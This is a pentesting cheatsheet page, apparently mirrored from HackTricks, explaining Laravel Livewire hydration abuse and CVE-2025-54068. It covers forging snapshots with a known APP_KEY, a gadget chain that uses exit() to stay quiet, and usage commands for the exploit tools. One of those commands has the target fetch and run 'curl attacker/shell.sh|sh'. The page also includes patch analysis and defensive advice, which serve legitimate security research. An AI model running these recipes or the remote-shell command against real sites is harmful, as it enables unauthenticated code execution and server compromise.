daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

livewire-hydration-synthesizer-abuse.md (12560B)


      1 ---
      2 title: "Laravel Livewire Hydration & Synthesizer Abuse"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/deserialization/livewire-hydration-synthesizer-abuse.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/deserialization/livewire-hydration-synthesizer-abuse.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Laravel Livewire Hydration & Synthesizer Abuse
     14 
     15 ## Recap of the Livewire state machine
     16 
     17 Livewire 3 components exchange their state through **snapshots** that contain `data`, `memo`, and a checksum. Every POST to `/livewire/update` rehydrates the JSON snapshot server-side and executes the queued `calls`/`updates`.
     18 
     19 ```php
     20 class Checksum {
     21     static function verify($snapshot) {
     22         $checksum = $snapshot['checksum'];
     23         unset($snapshot['checksum']);
     24         if ($checksum !== self::generate($snapshot)) {
     25             throw new CorruptComponentPayloadException;
     26         }
     27     }
     28 
     29     static function generate($snapshot) {
     30         return hash_hmac('sha256', json_encode($snapshot), $hashKey);
     31     }
     32 }
     33 ```
     34 
     35 Anyone holding `APP_KEY` (used to derive `$hashKey`) can therefore forge arbitrary snapshots by recomputing the HMAC.
     36 
     37 Complex properties are encoded as **synthetic tuples** detected by `Livewire\Drawer\BaseUtils::isSyntheticTuple()`; each tuple is `[value, {"s":"<key>", ...meta}]`. The hydration core simply delegates every tuple to the synth selected in `HandleComponents::$propertySynthesizers` and recurses over children:
     38 
     39 ```php
     40 protected function hydrate($valueOrTuple, $context, $path)
     41 {
     42     if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
     43     [$value, $meta] = $tuple;
     44     $synth = $this->propertySynth($meta['s'], $context, $path);
     45     return $synth->hydrate($value, $meta, fn ($name, $child)
     46         => $this->hydrate($child, $context, "{$path}.{$name}"));
     47 }
     48 ```
     49 
     50 This recursive design makes Livewire a **generic object-instantiation engine** once an attacker controls either the tuple metadata or any nested tuple processed during recursion.<sup>[[1]](#references)</sup>
     51 
     52 ## Synthesizers that grant gadget primitives
     53 
     54 | Synthesizer | Attacker-controlled behaviour |
     55 |-------------|--------------------------------|
     56 | **CollectionSynth (`clctn`)** | Instantiates `new $meta['class']($value)` after rehydrating each child. Any class with an array constructor can be created, and each item may itself be a synthetic tuple.
     57 | **FormObjectSynth (`form`)** | Calls `new $meta['class']($component, $path)`, then assigns every public property from attacker-controlled children via `$hydrateChild`. Constructors that accept two loosely typed parameters (or default args) are enough to reach arbitrary public properties.
     58 | **ModelSynth (`mdl`)** | When `key` is absent from meta it executes `return new $class;` allowing zero-argument instantiation of any class under attacker control.
     59 
     60 Because synths invoke `$hydrateChild` on every nested element, arbitrary gadget graphs can be built by stacking tuples recursively.<sup>[[1]](#references)</sup>
     61 
     62 ## Forging snapshots when `APP_KEY` is known
     63 
     64 1. Capture a legitimate `/livewire/update` request and decode `components[0].snapshot`.
     65 2. Inject nested tuples that point to gadget classes and recompute `checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY)`.
     66 3. Re-encode the snapshot, keep `_token`/`memo` untouched, and replay the request.
     67 
     68 A minimal proof of execution uses **Guzzle's `FnStream`** and **Flysystem's `ShardedPrefixPublicUrlGenerator`**. One tuple instantiates `FnStream` with constructor data `{ "__toString": "phpinfo" }`, the next instantiates `ShardedPrefixPublicUrlGenerator` with `[FnStreamInstance]` as `$prefixes`. When Flysystem casts each prefix to `string`, PHP invokes the attacker-provided `__toString` callable, calling any function without arguments.<sup>[[1]](#references)</sup>
     69 
     70 ### From function calls to full RCE
     71 
     72 Leveraging Livewire's instantiation primitives, Synacktiv adapted phpggc's `Laravel/RCE4` chain so that hydration boots an object whose public Queueable state triggers deserialization:<sup>[[1]](#references)</sup>
     73 
     74 1. **Queueable trait** – any object using `Illuminate\Bus\Queueable` exposes public `$chained` and executes `unserialize(array_shift($this->chained))` in `dispatchNextJobInChain()`.
     75 2. **BroadcastEvent wrapper** – `Illuminate\Broadcasting\BroadcastEvent` (ShouldQueue) is instantiated via `CollectionSynth` / `FormObjectSynth` with public `$chained` populated.
     76 3. **phpggc Laravel/RCE4Adapted** – the serialized blob stored in `$chained[0]` builds `PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed`. `Signed::__invoke()` finally calls `call_user_func_array($closure, $args)` enabling `system($cmd)`.
     77 4. **Stealth termination** – by handing a second `FnStream` callable such as `[new Laravel\Prompts\Terminal(), 'exit']`, the request ends with `exit()` instead of a noisy exception, keeping the HTTP response clean.
     78 
     79 ### Automating snapshot forgery
     80 
     81 `synacktiv/laravel-crypto-killer` now ships a `livewire` mode that stitches everything:
     82 
     83 ```bash
     84 ./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
     85   -j request.json --function system -p "bash -c 'id'"
     86 ```
     87 
     88 The tool parses the captured snapshot, injects the gadget tuples, recomputes the checksum, and prints a ready-to-send `/livewire/update` payload.<sup>[[2]](#references)</sup>
     89 
     90 ## CVE-2025-54068 – RCE without `APP_KEY`
     91 
     92 According to the vendor advisory, the issue affects Livewire v3 (>= 3.0.0-beta.1 and <= 3.6.3) and is unique to v3.<sup>[[4]](#references)</sup>
     93 
     94 `updates` are merged into component state **after** the snapshot checksum is validated. If a property inside the snapshot is (or becomes) a synthetic tuple, Livewire reuses its meta while hydrating the attacker-controlled update value:<sup>[[1]](#references)</sup>
     95 
     96 ```php
     97 protected function hydrateForUpdate($raw, $path, $value, $context)
     98 {
     99     $meta = $this->getMetaForPath($raw, $path);
    100     if ($meta) {
    101         return $this->hydrate([$value, $meta], $context, $path);
    102     }
    103 }
    104 ```
    105 
    106 Exploit recipe:
    107 
    108 1. Find a Livewire component with an untyped public property (e.g., `public $count;`).
    109 2. Send an update that sets that property to `[]`. The next snapshot now stores it as `[[], {"s": "arr"}]`.
    110 
    111    A minimal type-juggling flow looks like this:
    112 
    113    ```http
    114    POST /livewire/update
    115    ...
    116    "updates": {"count": []}
    117    ```
    118 
    119    Then the next snapshot stores a tuple that keeps the `arr` synthesizer metadata:
    120 
    121    ```json
    122    "count": [[], {"s": "arr"}]
    123    ```
    124 
    125 3. Craft another `updates` payload where that property contains a deeply nested array embedding tuples such as `[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]`.
    126 4. During recursion, `hydrate()` evaluates each nested child independently, so attacker-chosen synth keys/classes are honoured even though the outer tuple and checksum never changed.
    127 5. Reuse the same `CollectionSynth`/`FormObjectSynth` primitives to instantiate a Queueable gadget whose `$chained[0]` contains the phpggc payload. Livewire processes the forged updates, invokes `dispatchNextJobInChain()`, and reaches `system(<cmd>)` without knowing `APP_KEY`.
    128 
    129 Key reasons this works:
    130 
    131 - `updates` are not covered by the snapshot checksum.
    132 - `getMetaForPath()` trusts whichever synth metadata already existed for that property even if the attacker previously forced it to become a tuple via weak typing.
    133 - Recursion plus weak typing lets each nested array be interpreted as a brand new tuple, so arbitrary synth keys and arbitrary classes eventually reach hydration.
    134 
    135 ### High-value pre-auth target: Filament login forms
    136 
    137 Applications built on top of Livewire often expose an even easier pre-auth surface than a toy `public $count;` property. For example, Filament login pages commonly hydrate a weakly typed `$form` object that is already serialized as a `form` tuple in the snapshot. That removes the "scalar -> array -> `arr` tuple" setup step entirely:<sup>[[1]](#references)</sup>
    138 
    139 - The snapshot already contains something like `{"form":[{...},{"s":"form","class":"App\\Livewire\\Forms\\LoginForm"}]}`.
    140 - An attacker can send `updates.form` with nested malicious tuples directly, because recursion will eventually reinterpret children such as `[payload, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"}]`.
    141 - This is why pre-auth Livewire entrypoints that expose `FormObjectSynth` objects are especially attractive: they already provide both instantiation and public-property assignment.
    142 
    143 ### Patch analysis: preserve raw metadata during update recursion
    144 
    145 The fix introduces a dedicated `hydratePropertyUpdate()` path so nested update values no longer call generic `hydrate($child, ...)` on attacker-controlled children:<sup>[[1]](#references)</sup><sup>[[5]](#references)</sup>
    146 
    147 ```php
    148 protected function hydratePropertyUpdate($valueOrTuple, $context, $path, $raw)
    149 {
    150     if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
    151     [$value, $meta] = $tuple;
    152     $synth = $this->propertySynth($meta['s'], $context, $path);
    153 
    154     return $synth->hydrate($value, $meta, function ($name, $child) use ($context, $path, $raw) {
    155         return $this->hydrateForUpdate($raw, "{$path}.{$name}", $child, $context);
    156     });
    157 }
    158 ```
    159 
    160 Security impact of the patch:
    161 
    162 - Nested updates are revalidated against the original raw snapshot path instead of trusting fresh attacker-supplied tuple metadata.
    163 - Recursive hydration no longer lets children redefine `s` or `class` mid-flight.
    164 - This blocks both arbitrary synthesizer switching and arbitrary class selection inside nested update arrays.
    165 
    166 ## Livepyre – end-to-end exploitation
    167 
    168 [Livepyre](https://github.com/synacktiv/Livepyre) automates both the APP_KEY-less CVE and the signed-snapshot path:<sup>[[3]](#references)</sup>
    169 
    170 - Fingerprints the deployed Livewire version by parsing `<script src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src//livewire/livewire.js%3Fid%3DHASH">` (or `?v=HASH`) and mapping the hash to vulnerable releases.
    171 - Collects baseline snapshots by replaying benign actions and extracting `components[].snapshot`.
    172 - Generates either an `updates`-only payload (CVE-2025-54068) or a forged snapshot (known APP_KEY) embedding the phpggc chain.
    173 - If no object-typed parameter is found in a snapshot, Livepyre falls back to brute-forcing candidate params to reach a coercible property.
    174 
    175 Typical usage:
    176 
    177 ```bash
    178 # CVE-2025-54068, unauthenticated
    179 python3 Livepyre.py -u https://target/livewire/component -f system -p id
    180 
    181 # Signed snapshot exploit with known APP_KEY
    182 python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
    183     -f system -p "bash -c 'curl attacker/shell.sh|sh'"
    184 ```
    185 
    186 `-c/--check` runs a non-destructive probe, `-F` skips version gating, `-H` and `-P` add custom headers or proxies, and `--function/--param` customise the php function invoked by the gadget chain.
    187 
    188 ## Defensive considerations
    189 
    190 - Upgrade to fixed Livewire builds (>= 3.6.4 according to the vendor bulletin) and deploy the vendor patch for CVE-2025-54068.<sup>[[4]](#references)</sup>
    191 - Avoid weakly typed public properties in Livewire components; explicit scalar types prevent property values from being coerced into arrays/tuples.
    192 - Register only the synthesizers you truly need and treat user-controlled metadata (`$meta['class']`) as untrusted.
    193 - Reject updates that change the JSON type of a property (e.g., scalar -> array) unless explicitly allowed, and re-derive synth metadata instead of reusing stale tuples.
    194 - Rotate `APP_KEY` promptly after any disclosure because it enables offline snapshot forging no matter how patched the code-base is.<sup>[[1]](#references)</sup>
    195 
    196 ## References
    197 
    198 - [1] [Synacktiv – Livewire: Remote Command Execution via Unmarshaling](https://www.synacktiv.com/en/publications/livewire-remote-command-execution-through-unmarshaling)
    199 - [2] [synacktiv/laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
    200 - [3] [synacktiv/Livepyre](https://github.com/synacktiv/Livepyre)
    201 - [4] [GHSA-29cq-5w36-x7w3 – Livewire v3 RCE advisory](https://github.com/livewire/livewire/security/advisories/GHSA-29cq-5w36-x7w3)
    202 - [5] [livewire/livewire commit `ef04be7` – Fix property update hydration](https://github.com/livewire/livewire/commit/ef04be759da41b14d2d129e670533180a44987dc)